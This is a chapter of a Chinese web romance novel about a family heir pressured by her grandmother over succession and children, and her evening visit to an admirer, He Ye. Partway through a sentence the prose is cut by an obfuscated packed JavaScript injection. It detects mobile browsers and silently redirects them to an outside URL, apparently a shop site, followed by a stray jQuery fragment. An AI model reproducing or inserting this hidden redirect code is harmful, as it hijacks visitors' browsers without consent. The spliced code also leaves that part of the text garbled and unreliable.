——啪,茶杯被重重放在桌子上。
“祖母,城西那块地又不是什么好地方,您拿也拿点好东西啊,何必拿出这么个破烂让两个孩子抢。”盛春临靠在老宅沙发上,眉毛拧成一团,不带好气地说。
“你懂什么,两个小孩,还没长大,自然不像你这样能干又明事理,刚开始让他们历练历练而已,自然不用拿出什么贵重的东西。”盛春华对盛春临的愤怒熟视无睹。
“祖母还真是老当益壮,什么事情都要插一脚。我盛家男儿幸福快乐长大就足矣,祖母真是为了历练人么?”
盛子川是二姨盛慕昀的儿子,与盛春临年龄相仿,虽有一腔热血,但毕竟是男儿身,担不起传宗接代,发扬盛家的重任。
盛行之是三姨盛琛予的儿子,年纪还小,刚读完大学,整个心思都在盛春临身上。
前两天盛春华把盛行之和盛子川喊过来,告诉他俩,城西现在有块开发区,两个人如果谁能靠自己的本事拿下这块开发区的合作,就把这块开发区买下来送给谁。
盛行之平时黏盛春临,心里自然与盛春临走得近,盛春临也是如此,家里这几个孩子最宠爱盛行之。
盛春华安排了这件事后,盛行之自己憋了两天实在没有办法才告诉了盛春临。
给盛春临气得够呛,觉得老太太是年纪大了,志在四方,唯恐天下不乱。
其实这块地也没盛春临说的那么不堪,只是需要些时间才能发展开来,盛春临生气的是盛老太太为何选这样的方式让两家孩子内斗。
尤其是明知道盛行之肯定斗不过盛子川的情况下。
盛春华端起茶杯抿了一口,等着盛春临平静下来才缓缓开口。
“你倒是心疼行之,可这孩子在温暖的地方呆久了,一进社会难免会被冻伤。”
盛春临冷笑一声,“行之才多大,您让他跟盛子川抢城西,那块破地看起来光彩,哪哪都是坑,你也不怕兄弟反目,最后地也拿不下来,赔了丈夫又折兵。”
“年轻人就是火气大,哪有你说的那么严重?”盛春华笑意盈盈,满不在乎盛春临说的话。
“可您什么都不给行之,让个毛还没长齐的鸟去飞,那不只有摔死的份么?”
“行之既然姓盛,我给他的就不少了,再者,祖母也想看看,春临会不会帮这只小鸟呢哈哈。”盛春华爽朗笑着,气得盛春临脸一阵紫一阵红。
母亲撂挑子不管家族,把所有责任都扔给自己,盛春临不得不年纪轻轻舍弃自身担起盛家当家人的责任。祖母又故意设局,让兄弟你争我抢,派盛春临在其中搅混水。
一群疯子。
遇上这群人,也不知道盛家这么多年是怎么发展起来的。
老年人也该好好在家养老了,操心这么多当心加速衰老啊。
“祖母自己落下的因,怎么能由我来摘果?”
“你是盛家继承人又是盛家未来的当家人,你来做这些,最合适不过。”
“祖母下次大可不必费这么大功夫,有什么想让春临做的直接说一声就好。”
“这么说来,祖母还真有件事要跟你说,上次家宴,说要孩子的事,你好好考虑了没?”
盛春临眉毛拧得更深了,祖母的话又让她想起了温如玉与她之间的对话。
“我不已经说过了么?我没时间生孩子,祖母怎么这么容易就忘了。”盛春临冷笑道。
祖母这只老狐狸,果然还是绕不过拿她开刀。
“生孩子这种小事,怎么就让你这么怕?”
“谁说我是怕,祖母育有三子都体健如松,我什么可怕的?”
盛春临轻笑一声,似乎盛春华说的很滑稽,“生孩子对我的人生来说,没必要,我与如玉已经商量好,这辈子不会生孩子了,祖母早日死了这条心吧!”
“春临又在胡说了,盛家走到今天,难道是只靠走必要的路么?你母亲当年走得潇洒,也是因为有你留下来兜底。盛家的血脉没有在你这断了的道理。”
盛春华对盛春临的表态不以为意,边说边抬眸打量着盛春临。
“祖母才是瞎担心,且不说其他旁支,光是祖母这一支便有二姨三姨家四个孩子,这四个孩子无论如何也会把盛家的血脉传下去的。”
“春临呐,别让我寒心,我只接受你的血脉继续做盛家的继承人。”
“其他事都可以依您,唯独孩子这件事不行,祖母年纪大了,还是少思虑多休息。”
“莫不成如玉那孩子身体有问题么?我看你们平时感情不错,若实在不行,找其他人也可以,反正……”
“祖母!”盛春临实在听不下去,打断盛春华的发言,“如玉好得很,我也很爱他,您今天说的话让我伤心便罢了,可不要传出去让如玉和温老太太伤心,如玉是非常尊敬您喜爱您的,别让您的真心掩过假意了。”
“春临说的是,今天话多了一时竟口无遮掩了哈哈。”盛春华被怼了也不在乎,仍是打着马虎眼。
盛春临倒是实在听不下去,“今天不早了,祖母早些休息,有空我再来看您。”
——砰,
车门被关上的一瞬间,盛春临深呼吸一口气,解开西装扣子,又靠在车座上闭目养神。
祖母真是越来越过分,家宴上说了那些还不够,现在反倒是一个月催一次的节奏了?
这老年人退休了就游山玩水,颐享天年就够了,一天天把手伸的这么长想干什么?
真该给祖母找点事分散下她的注意力了。
盛春临恶劣地想着。
“盛总,回家么?”
盛春临犹豫了一下,
“不,去城郊。”
前两天何野给她发照片,邀请她过去,她没理,今天憋了一肚子气,盛春临倒是很想去见见何野。
盛春临拿出手机,给那朵小黄花头像的人发消息。
“吃晚饭了么?”
听到手机铃声,何野本以为又是论坛里的消息,他便没着急理,等他放好碗筷准备开饭时,打开手机居然是盛春临的消息!
此时距离盛春临发消息已经过去十来分钟。
何野一着急手机差点掉在地上,急急忙忙抓住,赶紧用激动的心回复盛春临。
“没,我刚看到消息。”
“你要过来一起吃么?”
何野大胆地抛出邀请,也不知道还来不来得及。
“嗯,”
“我买饭带过去吧,你不要麻烦了。”
盛春临很快回了消息,没有一丝不耐烦,这让何野莫名地满足。
“好,都听你的。”
盛春临要主动过来找他了,好开心。
实在是激动难耐,何野去洗了一个冷水澡,心情仍平静不下来。
盛春临嘴上说了不用麻烦,何野还是选择用给盛春临蒸个鸡蛋羹来缓解自己的紧张感。
下次真的要在冰箱里准备一些食材了,盛春临两次来都只能让她吃鸡蛋,何野心里对盛春临有些心疼。
打好鸡蛋,何野用勺子撇掉表面的浮沫,放到加热好的锅里,鸡蛋液在高温下迅速变性,膨胀起来的组织几乎要从碗里溢出来,他赶紧转小火。
看见这碗鸡蛋羹,何野还有些恍惚,小时候家里没钱那一阵,方佩茹做的鸡蛋羹对于俩兄弟来说就是人间美味了。
何野摇摇头,关火,把鸡蛋羹放在锅里保温,收拾了一下客厅,确保看起来整洁有序。
做完这些,盛春临怎么还没来?
坐立难安的何野又去卫生间整理了一下发型,虽然他这个头发一直是自己剪的,毫无造型可言。
这时候门铃响了,何野顾不得自己还有一小缕翘起来的头发没整理好,跑着下楼过去开门。
他不想让盛春临多等,他想早点看到盛春临。
门被打开,先钻进来的是盛春临身上熟悉的香气,然后看到的是盛春临绝世的帅脸和有形的身姿。
盛春临今天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153888|196488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还是穿的西装,不过是墨绿色,跟她的眼睛浑然天成地和谐。
一进门,盛春临就跟进自己家里一样,先把带来的吃食放到玄关处,又自然地把西装外套脱下来搭在胳膊上。
“可以给我,我帮你挂起来。”何野压抑着自己猛然抱上去的冲动,轻声地说道。
“不用了,这个你倒是可以帮我拿一下。”盛春临用眼神示意了一下自己带来的吃食。
“哦,哦哦好的。”
何野拿上袋子,“我给你炖了碗鸡蛋羹,你可以先垫垫肚子,这样胃里舒服。”
“谢谢。”
这是盛春临第一次对何野这么有礼貌,何野还有点不适应。
把还冒着热气的鸡蛋羹端到盛春临面前,还是像上次一样,何野负责把各种东西拿出来摆在桌面上,盛春临负责进食。
“没给自己做一碗么?”盛春临看只有一碗鸡蛋羹,挑眉问道。
“那个,我吃过了,你不用担心。”
何野顿了顿接着又说,“你尝尝,要是不喜欢的话,我再给你做别的。”
“嗯。”
盛春临没再问了,舀了一勺鸡蛋羹放进嘴里,几乎不用怎么咀嚼,温热嫩滑的鸡蛋羹就顺着食道滑进胃里,盛春临的面色总算柔和些。
有了上次的经验,这次看到盛春临拿了这么多好吃的,何野也不惊讶了,只是没想到里面居然还有一份烤红薯!
“诶,现在就有烤红薯卖了吗?”何野惊喜地问道,他一直以为烤红薯只有冬天才会有的卖。
烤红薯当然在其他季节也有的卖,
不止烤红薯,
有钱,
什么都可以买的到。
但盛春临没有这样说,她顺着何野的话说下去。
“嗯,今年卖的比较早吧,你尝尝。”
“好。”何野用赠送的小勺挖了一勺烤红薯放进嘴里,香甜软糯,唇齿留香。
“好吃,我很喜欢吃这个,谢谢盛总。”
盛春临微微挑眉,垂眸看着何野吃烤红薯的文静样子,跟记忆里的何野一点点重合。
今天棠溪书下班了,盛春临自己去了比较远的商场买的烤红薯,现在这个季节卖烤红薯的还不算多,找起来确实有些费劲。
但是,有人喜欢就够了。
这个何野还真是好懂。
“喜欢就好。”盛春临没再说了,何野也能看出来她今天似乎心情不是很好。
何野吃了一半烤红薯,给盛春临留了规规整整的另一半。
“您今天怎么突然想到来我这里?”
“你说这话的语气,像是被临时宠幸的妃子。”
盛春临不打算解释,反参一军。
何野微微一怔,意识到盛春临这是在跟他开玩笑,心里的拘谨感也随之消散,他想起了论坛里网友们给他支的招,决定今天晚上实践一番。
“嗯,好几天没见盛总,等得很辛苦。”
似乎是没想到何野会这么说,盛春临手上的动作有些停顿。
“我只是在附近谈工作,顺路过来一趟。”盛春临选择了一个破绽百出的回答。
谁家工作要到荒郊野岭来谈?
又不是老黄牛出来开荒。
何野也明白盛春临的意思,不再追问。
不知是不是今天何野脑袋上翘起来的这缕头发起了作用,盛春临今天胃口居然还不错,她吃完鸡蛋羹,把碗和勺子轻轻放在一边,开始吃自己带过来的各种吃食。
每次盛春临都会把自己做的东西吃干净,这让何野有极大的满足感。
何野把各种盛着餐食的盒子往盛春临那边挪了挪。
“盛总今天谈工作辛苦了,这么晚了,今天晚上要不留下来吧?”何野小心翼翼地问着。
空气中只剩下沉默,
“盛总…如果你很忙的话,你也可以去忙的,我只是建议,不是要求你。”
“嗯,我会留下。”